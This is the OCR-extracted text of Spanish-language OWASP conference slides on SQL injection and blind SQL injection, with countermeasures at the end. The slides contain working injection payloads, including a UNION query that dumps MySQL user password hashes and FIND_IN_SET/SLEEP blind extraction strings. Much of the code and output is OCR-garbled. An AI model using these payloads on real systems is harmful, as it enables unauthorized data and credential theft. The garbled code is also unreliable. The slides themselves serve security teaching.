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SQL Injection

- Fallo de inyeccion.

- Falta de validacion
de entradas.

- Permite modificar
las consultas SQL.

- Extraccion de
informacion.

OWASP LATAM TOUR 2012



SQL Injection

http://example.com/news.php?id=23

<?php

//

Sid = § GET['id"];

Squery = “SELECT * FROM news WHERE id=$id”;
//

7>

SELECT * FROM news WHERE id=23
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SQL Injection

http://example.com/news.php?id=23 and 1=0

<?php

//

Sid = § GET['id"];

Squery = “SELECT * FROM news WHERE id=$id”;
//

7>

SELECT * FROM news WHERE id=23 and 1=0
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"} localhost/test/news php?id=1 and 1=1] ] localhost/test/news php?id=1 and 1=0|

NOTICIAS
' NOTICIAS
TITULO 1
Detalle de noticia 1... Autor:

Autor: Autor 1
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%

. localhost/test/news.php?id=1 and null union select 1,2,qroup_concat(concat{user, !, password) separator <br>'),4 from mysql.user

NOTICIAS

2

root:*2C D Fa N e [ F 8E 8
root:*2C DR e T ST CFBES
root:*2C D Fai N e R7 CF BE 8
test:*0 4R DR L e LTI F C 20

Autor: 4
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Blind SQL Injection

- No muestra informacion
de la base de datos en el
navegador.

- Se necesita “booleanizar”
la informacion.

- Extraccion de datos mas
lenta.
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Por ejemplo:

“usuarios”.

No selecciona ningun
registro de la tabla
“usuarios”.

Selecciona al menos
un registro de la tabla

Firefox v ][:}http:HlncaLhns....php?user=admin“ * ‘

* [ lncalhnstftestfwerif‘g.php?user=admin‘

Usuario registrado

Firefox ¥ ][:} http://localhos.. fy.php?user=xyz u a ‘

- [[:] lncalhnztfteztfverif‘g.php?USEf:Wz‘

Usuario disponible
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Por ejemplo:

o Firefox | LI httpi//localho...0and%201=1%23 | # |
3 1 — 1 ? /> - [ localhost/test/verify.php?user=admin’ and 1:15623‘
-
V/ Usuario registrado
P\\ Firefox | http://localho...0and%201=0%23 | # |
. __
(..1 - O? > - [[:j localhost/test/verify.php?user=admin’ and 1=E‘151523|
v
7
b/ Usuario disponible

OWASP LATAM TOUR 2012



“Booleanizacion”

- Representar Ia

Q informacion de
P — forma binaria.
- Extraer un bit de
informacion en

cada consulta.



Por ejemplo:

¢El nombre de usuario empieza con “a”?
?user=admin' AND MID(USER(),1,1)="a'%23
- USER() --> “root@localhost”

- MID(“root@localhost”,1,1) --> 'r

-AND 'r'='a' --> FALSO



| \\ Firefox v ]:: http:;‘rﬂDCELhD---.1:’:%2?5%2?%23u + ‘

. I I — I I \ et
¢cr=a ? - l localhost/test/verify.php?user=admin’ and mid[u59r|[]l,1,l]l='a'5|523|

Usuario disponible

N Firefox v | {}http://localho..., 1)=%27b%27%23 | * |
0O
¢ r= b ? - [ localhost/test/verify.php?user=admin’ and midl[u5er|:]l,l,1]l='h'5f523|
/ Usuario disponible

Mucho tiempo después..

| \ Firefox | [} http://localho..., 1)=%27r%27%23 \I - ‘

LI | | | | — —

¢cr=r ? - [ localhost/test/verify.php?user=admin’ and mid[user[]l,l,l]l='r'5623|
/ Usuario registrado
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Busqueda Binaria

- Buscar un valor en un
arreglo ordenado.

309 |16]|22|24 |31 (41 |49 |53 |67 |69 TU‘

~ - Reduce la
~ - complejidad a la mitad
” = n cada iteracidn
7w & wm S '

24 @ @ 0

- Muy eficiente.
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Por ejemplo:

?user=admin' AND ASCII(MID(USER(),1,1))>128%23

- ASCII( 'r') -->114
- AND 114 > 128 --> FALSO

7user=admin' AND ASCII(MID(USER(),1,1))>64%23

- ASCII( 'r') -->114
- AND 114 > 64 --> VERDADERO



Algunas tools

- Sglmap (http://sqlmap.sourceforge.net/)

- Sglninja (http://sglninja.sourceforge.net/)
- Absinthe (http://www.0x90.0org/releases/absinthe/)
- BSQL Hacker (http://labs.portcullis.co.uk/application/bsql-hacker/)

- SQLBrute (https://github.com/GDSSecurity/SQLBrute)


http://sqlmap.sourceforge.net/
http://sqlninja.sourceforge.net/
http://www.0x90.org/releases/absinthe/
http://labs.portcullis.co.uk/application/bsql-hacker/
https://github.com/GDSSecurity/SQLBrute

Otras técnicas

- Expresiones Regulares REGEXP
http://www.ihteam.net/papers/blind-sqgli-regexp-attack.pdf

_ Bit Shifting (MySQL)

http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html

- Find In Set (MySQL)

http://websec.ca/blog/view/optimized blind sqgl injection data retrieval
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http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf
http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html
http://websec.ca/blog/view/optimized_blind_sql_injection_data_retrieval

FInd In Set

- Roberto Salgado
31/03/2011

- Funcion de
MySQL
FIND IN SET()

- Devuelve la
posicion de un
caracter en un
conjunto.
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FInd In Set

- Definir un conjunto

Character: | C | H| A | R |A | C|T|E|R

- Obtener la posicion A e
del caracter en el A -
coO nJ U ntO Position: | 3

[
rm
—

- Obtener la cadena  siy: ll J o100 [on [ soon oo
binaria de la posicion. 101

- Extraer bit a bit la
cadena binaria.
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FInd In Set

DECIMAL BINARIO # BITS # CONSULTAS
0-1 0-1 1 2
2-3 10-11 3
4-7 100-111 3 4
8-15 1000-1111 4 5
16-31 10000-11111 5 6
32-63 100000-111111 6 /
64-127 1000000-1111111 7 38
128-255 10000000-11111111 38 9
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Ejemplo:

|
?2user=admin' AND (SELECT
@a:=MID(BIN(FIND IN SET(MID(USER(),1,1),'a,b,c,d,e, f,q,

hliljIklllmlnlo’plqlrlSItIuIvIWIxIYIZIOI1I213I4I5I617I8
;9')),1,1))=@a AND IF(@a!='"',@a,SLEEP(4))%23

- FIND IN SET('r','a,b,c,...') --> 18
- BIN(18) --> #“10010”

- MID(“100107,1,1) --> 1

- (SELECT @a:=1)=@a --> TRUE

- TRUE AND IF(Qa!='',@a,SLEEP(4))
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Comparacion

Numero de consultas por método para

“CHARACTER_SET”
140 77 7
120 1° -~ ——
100 17 = FIND_IN_SET
80 1 » Bit Shifting
60 T = Bisection
40 + Ve —
20 + P e

-. | | I'.-.--

0 +
FIND IN_SET Bit Shifting Bisection
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Problemas

- FIND IN SET() no es
sensible a mayusculas.

- Hay mas casos malos que
buenos.

- Necesita una consulta
adicional para identificar el
final.

- El final se identifica con
un retardo.



.Soluciones?
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Usar INSTR()

- |NSTR() devuelve |la BEEECEEERCRERIET DY
posicidon de un '
caracter en una
cadena.

- Es sensible a
mayusculas si uno
de sus parametros
es del tipo “BINARY".

ysql> |
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Exclamation point
Colon

Lty v un B D 00~ O

emi-colon

NO N = w

- X

| Short dash
Question mark
0]

Apostrophe

- Right quotes
Left quotes
oy

Comma

Character

Ordenar por
frecuencias

Lun
p=]
w
[m]
[1°]

0.2
0.15
0
0.05

Aduanbauig aane|ay

N
L
=)
N
o
-
O
=
=
<
o
<
wd
o
V)]
g
=
O



.Ceros a la Izquierda?

Character: | C |H | A | R|A|C|T|E|R| _|S|E]|T

R L R R A S R A R S R SR

- No hay ceros a la
Ilzquierda.

- El primer bit
siempre es 1.

- Se puede obviar la
primera consulta.
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(Evitar el retardo?

- Generar un error.

- Usar 3 paginas

diferentes.
21d=0 --> (pag. 1)
?21d=1 --> (pag. 2)

?1d=NULL --> (pag. 3)
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Prevencion &

Contramedidas




Validacion de Entradas

- Expresiones regulares

- Validacion de tipo

- Escapar caracteres
especiales

- Librerias de seguridad
ESAPI

No solo JavaScript
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Consultas Parametrizadas

Definir primero la
consulta y luego pasarle
los parametros.

:E._l

- &5f[:jﬁ;l{$£L -

- Prepared Statements.

er funﬂ_array[arra}r{;h

- Storage Procedures. [ $stmt->fetch() ) {
alrayiﬁr .
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Permisos de Acceso

- Las aplicaciones no
necesitan la cuenta de
Administrador.

- GRANT ALL PRIV...
(ESs Necesario?

- Aplicaciones
diferentes, usuarios
diferentes
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No BERo CondECTAR Como RooT
No DE®So ConJECTAR Como RooT
No BhERo ConJECTAR Como RooT
Ne BEQO ConJECTAL Como RooT

No BEQo CorJECTALR Como QooT
No BER s ConJECTAR. Come RooT
Ne BES®o CordECTAR Come QooT
No REQo CorndECTALR Como

‘@
No DE®o ConlECTAR. Cow, o
No DE®Ro ConlECTAR Como B st

& .
No DEQo ConlECTAR -\ | _;,
. ; ’-




IDS, IPS, WAF, etc...

- Sistemas de deteccion y
prevencidon de intrusos.
(Snort, PHPIDS)

- Web Application Firewall.
(mod security)

- Reescritura de solicitudes
HTTP. (mod rewrite)

- Basados en patrones.

- No 100% confiables.



cPreguntas?




iMuchas gracias!
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